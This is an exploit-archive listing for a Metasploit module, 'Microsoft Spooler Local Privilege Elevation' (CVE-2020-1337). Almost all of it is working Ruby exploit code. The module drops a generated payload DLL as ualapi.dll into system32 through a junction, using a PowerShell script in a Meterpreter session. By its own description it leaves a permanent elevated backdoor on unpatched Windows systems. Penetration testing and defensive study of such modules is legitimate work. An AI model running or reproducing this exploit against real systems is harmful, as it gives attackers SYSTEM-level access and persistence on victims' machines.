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Microsoft Spooler Local Privilege Elevation

Microsoft Spooler Local Privilege Elevation
Posted Jan 18, 2021
Authored by bwatters-r7, Peleg Hadar, sailay1996, 404death, Tomer Bar | Site metasploit.com

This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to remove the dll, there is no way to remove the dll once it is loaded by the service. Essentially, on default settings, this module adds a permanent elevated backdoor.

tags | exploit
advisories | CVE-2020-1337
MD5 | 190acc955c26bdcd0792eec51903d02d

Microsoft Spooler Local Privilege Elevation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/windows/powershell'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
include Msf::Post::Windows::Powershell

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
'Description' => %q{
This exploit leverages a file write vulnerability in the print spooler service
which will restart if stopped. Because the service cannot be stopped long
enough to remove the dll, there is no way to remove the dll once
it is loaded by the service. Essentially, on default settings, this module
adds a permanent elevated backdoor.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Peleg Hadar', # Original discovery
'Tomer Bar', # Original discovery
'404death', # PoC
'sailay1996', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2019-11-04',
'References' =>
[
['CVE', '2020-1337'],
['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337'],
['URL', 'https://github.com/sailay1996/cve-2020-1337-poc'],
['URL', 'https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
},
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
)
)

register_options([
OptString.new('JUNCTION_PATH',
[false, 'Path to use as junction (%TEMP%/%RAND% by default).', nil]),
OptString.new('DESTINATION_PATH',
[false, 'Location of file to overwrite (%WINDIR%\system32\ by default).', nil]),
OptString.new('DESTINATION_FILE',
[false, 'Filename to overwrite (ualapi.dll by default).', nil]),
OptString.new('PRINTER_NAME',
[true, 'Printer Name to use (%RAND% by default).', Rex::Text.rand_text_alpha(5..9).to_s]),
OptBool.new('RESTART_TARGET',
[false, 'Restart the target after exploit (you will lose your session until a second reboot).', false])
])
end

def cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, b64_payload)
# Read in Generic Script
script = exploit_data('CVE-2020-1337', 'cve-2020-1337.ps1')
fail_with(Failure::BadConfig, 'No exploit script found') if script.nil?

# Replace Values in Generic Script
vprint_status('Replacing variables')
junction_filepath = "#{junction_path}\\#{destination_file}"
# The random string appears to be required when using the psh_exec
# It may be due to the way we break apart the script?
# I would not be upset to find the root cause and fix it.
script.gsub!('JUNCTION_FILEPATH', junction_filepath)
script.gsub!('PRINTER_NAME', printer_name)
script.gsub!('JUNCTION_PATH', junction_path)
script.gsub!('DESTINATION_PATH', destination_path)
script.gsub!('B64_PAYLOAD_DLL', b64_payload)

# Run Exploit Script
print_status("Running Exploit on #{sysinfo['Computer']}")
begin
#client.powershell.execute_string(code: script)
session.powershell.execute_string({code: script})
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
end

def exploit
if datastore['DESTINATION_PATH'].nil? || datastore['DESTINATION_PATH'].empty?
win_dir = session.sys.config.getenv('windir')
destination_path = "#{win_dir}\\system32"
else
destination_path = datastore['DESTINATION_PATH']
end
if datastore['DESTINATION_FILE'].nil? || datastore['DESTINATION_FILE'].empty?
destination_file = 'ualapi.dll'
else
destination_file = datastore['DESTINATION_FILE']
end
if datastore['JUNCTION_PATH'].nil? || datastore['JUNCTION_PATH'].empty?
junction_path = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..15)}"
else
junction_path = datastore['JUNCTION_PATH']
end
client.core.use("powershell") if not client.ext.aliases.include?("powershell")
printer_name = datastore['PRINTER_NAME']
payload_dll = generate_payload_dll

# Check target
vprint_status('Checking Target')
validate_active_host
validate_payload

# Run the exploit
output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))
sleep(3) # make sure exploit is finished

# Reboot, if desired
if datastore['RESTART_TARGET']
sleep(10)
vprint_status("Rebooting #{sysinfo['Computer']}")
begin
session.sys.power.reboot
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
end
end

def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end

def validate_payload
vprint_status("Target Arch = #{sysinfo['Architecture']}")
vprint_status("Payload Arch = #{payload.arch.first}")
unless payload.arch.first == sysinfo['Architecture']
fail_with(Failure::BadConfig, 'Payload arch must match target arch')
end
end

def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363
return Exploit::CheckCode::Safe
end
end
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